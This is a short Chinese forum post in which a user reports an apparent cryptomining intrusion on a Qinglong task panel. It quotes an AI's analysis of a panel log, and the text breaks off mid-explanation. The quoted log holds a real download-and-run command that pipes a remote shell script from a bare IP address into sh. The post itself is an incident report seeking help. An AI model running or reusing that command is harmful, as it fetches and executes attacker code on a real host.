Zephyr (@Zephyr.Yu) 在 疑似青龙面板被挖矿 中发帖
就部署了一个库洛米签到脚本。。。。刚上床睡觉收到阿里云的告警短信,查青龙日志如下,gemini了一下,说是黑客入侵。。。有大手子看一下吗
Gemini解答:
明确告诉你:有非常严重的安全异常!你的系统(看日志应该是青龙面板)已经被黑客入侵,并成功植入了恶意脚本。
这就是你上一个问题中提到的那个下载进度条的“罪魁祸首”。
核心异常分析
1. 典型的恶意代码下载与执行(高危)
[ℹ️info 2026-03-08 21:51:23]: [panel][开始执行任务] 参数: {"command":"real_log_path=curl/2026-03-08-21-51-23-986.log real_time=true task curl -fsSL http://104.194.158.160/1xa/xa.sh|sh"...}
这是什么: curl http://... | s...